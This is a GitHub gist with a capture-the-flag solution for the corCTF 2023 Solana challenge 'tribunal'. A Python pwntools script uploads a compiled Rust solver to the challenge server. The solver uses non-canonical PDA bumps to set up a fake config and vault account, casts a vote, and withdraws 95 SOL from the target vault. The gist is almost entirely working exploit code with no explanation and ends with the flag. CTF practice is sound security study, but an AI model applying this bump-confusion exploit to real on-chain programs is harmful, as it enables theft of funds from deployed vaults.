Skip to content

Instantly share code, notes, and snippets.

@KaoRz
Last active January 22, 2024 13:37
Show Gist options
  • Save KaoRz/a141d31ce4854a3bc907601a04f81437 to your computer and use it in GitHub Desktop.
Save KaoRz/a141d31ce4854a3bc907601a04f81437 to your computer and use it in GitHub Desktop.
tribunal - corCTF 2023 (Solana challenge)
import os
os.system('cargo build-bpf')
from borsh_construct import CStruct, U8
from pwn import *
from solders.pubkey import Pubkey as PublicKey
from solders.system_program import _ID as SYS_PROGRAM_ID
#context.log_level = 'DEBUG'
HOST = args.HOST or '127.0.0.1'
PORT = args.PORT or 8080
PUBKEY = "KRZzuEV9XhML9N9tzqcc8TqJQerWgxzkMxxgkmFrkCL"
PAYLOAD_SCHEMA = CStruct("config_bump" / U8, "vault_bump" / U8)
def makeInputPayload(config_bump: int, vault_bump: int):
return PAYLOAD_SCHEMA.build({"config_bump": config_bump, "vault_bump": vault_bump})
def findValidBump(seed: bytes, avoid_addr: PublicKey):
for guess_bump in range(255, -1, -1):
try:
guess_addr = PublicKey.create_program_address(
[seed, int(guess_bump).to_bytes(1, byteorder="little")],
program,
)
if guess_addr != avoid_addr:
break
except:
continue
return guess_addr, guess_bump
r = remote(HOST, PORT)
solve = open('target/deploy/solver.so', 'rb').read()
print(r.recvuntil(b'program pubkey: ').decode())
r.sendline(PUBKEY.encode())
print(r.recvuntil(b'program len: ').decode())
r.sendline(str(len(solve)).encode())
r.send(solve)
print(r.recvuntil(b'program: ').decode())
program = PublicKey.from_string(r.recvline().strip().decode())
print(r.recvuntil(b'user: ').decode())
user = PublicKey.from_string(r.recvline().strip().decode())
print(f"program: {program}")
print(f"user: {user}")
config_vault, _ = PublicKey.find_program_address([b'CONFIG'], program)
target_vault, _ = PublicKey.find_program_address([b'VAULT'], program)
empty_proposal, _ = PublicKey.find_program_address([b'PROPOSAL', int(1).to_bytes(1, byteorder="little")], program)
fake_config, config_bump = findValidBump(b"CONFIG", config_vault)
fake_vault, vault_bump = findValidBump(b"VAULT", target_vault)
input_payload = makeInputPayload(config_bump, vault_bump)
print(r.recvuntil(b'num accounts: ').decode())
r.sendline(b'7')
r.sendline(b'zzzz ' + str(program).encode("UTF-8"))
r.sendline(b'ws ' + str(user).encode("UTF-8"))
r.sendline(b'w ' + str(fake_config).encode("UTF-8"))
r.sendline(b'w ' + str(fake_vault).encode("UTF-8"))
r.sendline(b'w ' + str(target_vault).encode("UTF-8"))
r.sendline(b'w ' + str(empty_proposal).encode("UTF-8"))
r.sendline(b'zzzz ' + str(SYS_PROGRAM_ID).encode("UTF-8"))
print(r.recvuntil(b'ix len: ').decode())
r.sendline(str(len(input_payload)).encode())
r.send(input_payload)
r.interactive()
# corctf{its_y0ur_time_to_f4ce_the_CoR_tribunal}
use borsh::{ BorshSerialize, BorshDeserialize };
use solana_program::{
account_info::{
next_account_info,
AccountInfo,
},
entrypoint::ProgramResult,
instruction::{
AccountMeta,
Instruction,
},
program::invoke,
pubkey::Pubkey,
system_program,
entrypoint,
};
use tribunal::processor::TribunalInstruction;
#[derive(BorshDeserialize)]
struct InputPayload {
config_bump: u8,
vault_bump: u8,
}
entrypoint!(process_instruction);
pub fn process_instruction(
_program: &Pubkey,
accounts: &[AccountInfo],
data: &[u8]
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let sol_program = next_account_info(account_iter)?;
let user = next_account_info(account_iter)?;
let fake_config = next_account_info(account_iter)?;
let fake_vault = next_account_info(account_iter)?;
let target_vault = next_account_info(account_iter)?;
let empty_proposal = next_account_info(account_iter)?;
let bumps = InputPayload::try_from_slice(data).unwrap();
invoke(
&Instruction {
program_id: *sol_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*fake_config.key, false),
AccountMeta::new(*fake_vault.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: TribunalInstruction::Initialize {
config_bump: bumps.config_bump,
vault_bump: bumps.vault_bump
}.try_to_vec().unwrap(),
},
&[user.clone(), fake_config.clone(), fake_vault.clone()]
)?;
invoke(
&Instruction {
program_id: *sol_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*fake_config.key, false),
AccountMeta::new(*fake_vault.key, false),
AccountMeta::new(*empty_proposal.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: TribunalInstruction::Vote {
proposal_id: 1,
amount: 10
}.try_to_vec().unwrap(),
},
&[user.clone(), fake_config.clone(), fake_vault.clone(), empty_proposal.clone()]
)?;
invoke(
&Instruction {
program_id: *sol_program.key,
accounts: vec![
AccountMeta::new(*user.key, true),
AccountMeta::new(*fake_config.key, false),
AccountMeta::new(*target_vault.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: TribunalInstruction::Withdraw {
amount: 95_000_000_000
}.try_to_vec().unwrap(),
},
&[user.clone(), fake_config.clone(), target_vault.clone()]
)?;
Ok(())
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment